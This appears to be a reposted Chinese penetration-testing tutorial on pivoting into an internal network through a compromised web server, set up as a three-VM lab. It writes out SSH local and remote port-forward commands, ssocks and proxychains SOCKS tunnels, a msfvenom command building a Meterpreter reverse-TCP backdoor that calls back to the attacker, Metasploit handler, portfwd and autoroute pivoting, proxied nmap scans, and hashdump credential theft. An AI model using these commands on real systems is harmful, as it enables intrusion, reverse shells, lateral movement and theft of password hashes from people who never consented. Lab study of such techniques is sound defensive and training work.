内网基础-隧道技术内网穿透(SSH隧道Socket隧道跨路由扫描)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网基础-隧道技术内网穿透(SSH隧道Socket隧道跨路由扫描)相关的知识,希望对你有一定的参考价值。

环境搭建

分别是三个虚拟机(我这里用的两个ubuntu,一个kali)

因为web服务器有两个ip所以需要添加一个网卡,然后设置LAN区段

注:一开始lan区段是空的,手动添加一个就行

数据库服务器同样将网卡模式设置为LAN网段

分别进入web服务器虚拟机和数据库服务器虚拟机,将IPV4设置为手动

手动设置IP地址,子网掩码,网关为LAN网段,设置完毕后,ifconfig查看,如果没有改变,手动断开网络连接重连

ifconfig效果:

web服务器:

数据库服务器:

kali:


注:之后的实验均采用此拓扑结构(IP稍有不同)
所有图中正确的网关为:192.168.179.2

SSH隧道

这是整个网络的拓扑(web服务器已经被拿下),分析下可以得知

  • 内网WEB服务器有公私网双IP
  • 攻击者和web服务器处于同一网络(192),可以联通,攻击者(192段)和数据库服务器不可以联通(10段)
  • web服务器和数据库服务器可以联通(10段)

所以现在的目的就是通过web服务器建立隧道,使攻击者可以联通数据库服务器

正向连接

远程侦听端口,访问转发到本机主机指定端口。在web服务器上执行ssh命令

ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1
# 命令解析:
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>
-C 压缩传输
-f 将SSH传输转入后台执行
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发

运行命令,输入跳板机的ssh登陆密码,就可以了

映射成功后,攻击者使用浏览器访问web服务器(192.168.0.144)的7777端口,访问结果就是数据服务器的80端口的内容

反向隧道

1.web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22  root@192.168.0.115
# 命令解析:
ssh -qTfnN -R port:host:hostport  remoteuser@remote_ip
将本地22端口映射到攻击者的2222端口,执行之后需要输入remoteuser的密码

2.攻击者执行以下命令:
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 web@127.0.0.1
# 命令解析:
连接端口

反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)

ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140

kali上通过rdesktop连接本地的11111端口

rdesktop 127.0.0.1:11111

sockets代理

ssh -D '[::]:1080' JumpHost
SSH -qTfnN -D port remotehost

两种方法都没有成功

MSF端口映射

使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver

首先去拿shell

使用msf生成后门

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.115  lport=12345 -f exe >/var/www/html/ss.exe

kali监听对应端口

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

端口映射

在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口

portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80 

-L localhost
-l localport
-r remote ip
-p remote port

直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可

转发端口

# meterpreter
portfwd add -l 5555 -p 3389 -r 192.168.0.144
-l localport
-r remote ip
-p remote port

rdesktop 127.1.1.0:5555

其他命令

查看列表

portfwd list

清空列表

portfwd flush

Socket隧道

拓扑

ssocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务

下载连接:http://sourceforge.net/projects/ssocks

web服务器和kali都需要安装这款工具才能使用

下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译

./configure && make

src目录中存放了编译好的文件

反向代理

将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试

1.建立隧道

kali端:

./rcsocks -l 1088 -p 1080 -vv

-vv 获取详细信息
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口

web服务器端:

./rssocks -vv -s 192.168.179.128:1080
#接收192.168.179.128:1080端口的流量

输入命令后通道就建立完毕了

2.开启代理

proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令apt-get install proxychains安装

kali端修改配置文件:

/etc/proxychains.conf

注释socks4添加socks5(注意是socks5下图有误)

测试

proxychains ssh 127.0.0.1

输入密码连接后,成功连接ssh,查看本机ip

使用firefox

proxychains firefox 10.0.0.2

我这边是经过了多次测试才成功,可以先试一下ssh再curl,由于Ssocks不稳定,所以不建议使用

正向代理

web服务器如下命令创建代理并监听192.168.179.147(自己的IP)

./ssocksd --bind 192.168.179.147 --port 6020

在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020

vi /etc/proxychains.conf

执行如下命令,连接内网服务器,查看ip得知代理成功。

1proxychains ssh 127.0.0.1

扫描内网

用kali里边的nmap扫描

proxychains nmap -Pn -sT 10.0.0.2

MSF跨路由扫描

在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe

生成完毕,通过webshell将文件上传至win服务器

kali进入msf,开启监听

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit

等win服务器那边点击了exe文件,这边就上线了

简单收集信息

  • 查看当前用户

    getuid
    

  • 查看网卡信息

    ifconfig
    

  • 查看路由信息

    run get_local_subnets
    

    run autoroute -p
    

    发现没有路由,接下来使用命令添加路由

增加路由

run autoroute -s 10.0.0.0/24
run autoroute -p

这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理

background 之后使用 socks4a 模块

use auxiliary/server/socks4a
set SRVPORT 10044

修改配置文件

vi /etc/prxoychains.conf

注释掉原来的,添加一条新的

socks4 192.168.179.128 10044

这样的话路由就添加完成了

可以使用nmap对10.0.0.2进行端口扫描

proxychains nmap -sT -Pn 10.0.0.2

也可以用hydra进行密码爆破

MSF其他模块

  • metasploit的主机发现模块

    use auxiliary/scanner/discover/arp_sweep

  • hash收集

    run hashdump

推荐阅读

内网渗透基石篇-- 隐藏通信隧道技术(上)

内网渗透基石篇–隐藏通信隧道技术(下)

内网渗透篇:ssocks+proxychains搭建代理

SSH隧道:内网穿透实战

以上是关于内网基础-隧道技术内网穿透(SSH隧道Socket隧道跨路由扫描)的主要内容,如果未能解决你的问题,请参考以下文章

红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)

内网渗透系列:内网穿透(隧道)学习

内网渗透系列:内网穿透(隧道)学习

隧道技术 Frp 多层内网穿透

隧道技术 Frp 多层内网穿透

红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)